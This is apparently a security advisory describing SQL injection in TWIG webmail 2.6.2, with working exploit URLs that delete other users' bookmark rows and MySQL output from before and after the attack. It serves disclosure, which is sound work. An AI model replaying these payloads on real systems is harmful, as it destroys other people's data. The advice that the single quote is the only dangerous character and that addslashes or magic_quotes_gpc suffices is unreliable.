|
Vulnerability Twig Affected Twig 2.6.2 and below (used with MySQL, others not checked) Description Luki Rustianto found following. Unquoted SQL query string is a little mistake that could lead to potential damage. TWIG free PHP Webmail system is affected. As we know, mysql accept unquoted query string if the field type is int, mediumint, tinyint or like. The query: DELETE FROM mytable WHERE id='1' AND owner='karet' have the same effect with: DELETE FROM mytable WHERE id=1 AND owner='karet' However additional caution must be made if variable 'id' values on above example is a user suplied data thus could make that user to have control over sql query and made a modified version of query like: DELETE FROM mytable WHERE id=1 OR id=2 OR id=3 AND owner='karet' ~~~~~~~~~~~~~~~~ (modified value) the modified query string above, ofcourse, have diferent meanings value of "$id=1" is changed to "$id=1 OR id=2 OR id=3". Doing grep -r "WHERE id=" <TWIG installation dir>/lib/* will output LOT of intresting informations of which function has query string match our need - this may varies depend on TWIG version you have. Some of them: groups/personal.groups.inc.php3: $query = "UPDATE " . $dbconfig["groups_table"] . " SET groupname='" . $newname . "' WHERE id=" . $groupid; [... lots other] schedule/schedule.edit.inc.php3: $query = "DELETE FROM " . $dbconfig["schedule_table"] . " WHERE id = " . $data["id"] . " AND (" . $groupquery . ")"; [... lots other] ... and other files. Or if you really want to clearly see and debug every query made by TWIG then with help of query system on TWIG it can be done easilly. TWIG has a function named 'dbQuery' that always called on every sql query request (if used with mysql it's on <twig dir>/lib/db/mysql.db.inc.php3). Add the following code at the top of Function dbQuery( $statement ) to be like (with TWIG 2.6.2): [SNIP] $fp = fopen ("/tmp/twig_sql.log", "a"); fwrite ($fp, $statement); fclose($fp); [/SNIP] so every sql request string will be appended to file "/tmp/twig_sql.log". >From that file you can see every action performed and audit it. We will try to delete other user mysql data, in this example 'bookmarks' data. Same action can be made on other data like 'contact' or else ... You must have existing data before change/deleted others, so add it first. Login as usuall user account ('eca' in this example) and go to 'bookmarks' option and choose 'edit'. View the page source and find the important value [cutted to only view string we interested]: <==> <hr><form action=/webmail/index.php3 method=POST> <input type=hidden name=twig_sid value="983392539-1-eca"> <input type=hidden name=twig_cid value="983392539-14-eca"> <input type=hidden name=data[id] value=3> <input type=hidden name=ItemID value=3> <==> <select name=data[groupid]> <option value=0 >Unfiled</option> <==> <input type=submit name=submitbutton[delete] value="Delete"> <==> The url could be different looks depend on what type of authentication you use. We used sqltable type, if you use cookies type then the url may *much* longer than this! Construct the exploit url, Actual url: http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392414-1-eca&twig_cid=983392414-14-eca&ItemID=3 Change it to: http://192.168.0.18/webmail/index.php3?ts=983392426&twig_sid=983392539-1-eca&twig_cid=983392539-14-eca&ItemID=2&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2 NOTE: - we change string: ItemID=3 to ItemID=2 - we added string: "&data[groupid]=0&submitbutton[delete]=Delete&data[id]=2%20or%20id%3d2" ~~~~~~~~~~~~~~ (this is it) Or for more damage (deleting all data): http://192.168.0.18/webmail/index.php3?ts=983393006&twig_sid=983393050-1-eca&twig_cid=983393050-14-eca&ItemID=2&data[id]=2%20or%20groupid%3d0&data[groupid]=0&submitbutton[delete]=Delete ~~~~~~~~~~~~~~~~~~~ (this is it) so the sql query would change from: DELETE FROM twig_bookmarks WHERE id=3 AND groupid=0 AND username='eca' to: DELETE FROM twig_bookmarks WHERE id=2 or id=2 AND groupid=0 AND username='eca' or for more damage: DELETE FROM twig_bookmarks WHERE id=2 or groupid=0 AND groupid=0 AND username='eca' From mysql console before the exploit: mysql> select id,username,groupid,url from twig_bookmarks; +----+----------+---------+-------+ | id | username | groupid | url | +----+----------+---------+-------+ | 1 | pohenk | 0 | zzzz | | 2 | pohenk | 0 | yyyyy | | 3 | eca | 0 | aaaa | +----+----------+---------+-------+ 3 rows in set (0.21 sec) From mysql console after the exploit: mysql> select id,username,groupid,url from twig_bookmarks; +----+----------+---------+--------+ | id | username | groupid | url | +----+----------+---------+--------+ | 1 | pohenk | 0 | zzzz | | 3 | eca | 0 | aaaa | +----+----------+---------+--------+ 2 rows in set (0.02 sec) as user 'eca' we could delete/update user 'pohenk' data or else. Solution There are two workarounds: 1) Force number fields to be numbers via type casting. Example: $query="SELECT field,otherfield from table where ID='" . ((int)$IDNumber) . "'"; 2) Always use addslashes() to any form posted variable. Example: $query="SELECT field,otherfield from table where ID='" . addslashes($IDNumber) . "'"; PHP used to have an option to automatically use addslashes() on any variable passed to it via POST or GET. Please see your PHP.INI file and set the appropriate setting for "magic_quotes_gpc". The only malicious character in an SQL query executed from php is '. If you have for example: select * from kokos where user='$user' and $user=';drop database totos;' then the SQL query will be: select * from kokos where user=';drop database totos;' and that's ONE SQL statement. The ; inside the quotes is simply part of a STRING. The only way to get out of a string is with a ' and the ' gets stripped out with addslashes. If the user supplied variable isn't treated as a string but as part of the SQL statement then you have to escape ; as well. The problem with magic_quotes_gpc is that it is a global variable in PHP. Many sysadmins turn it off because they may be using a program that requires them not to be escaped. If your service provider allows you to have customized .htaccess file(s), placing this line php_value magic_quotes_gpc 1 in the file will ensure magic_quotes_gpc is turned on (or off).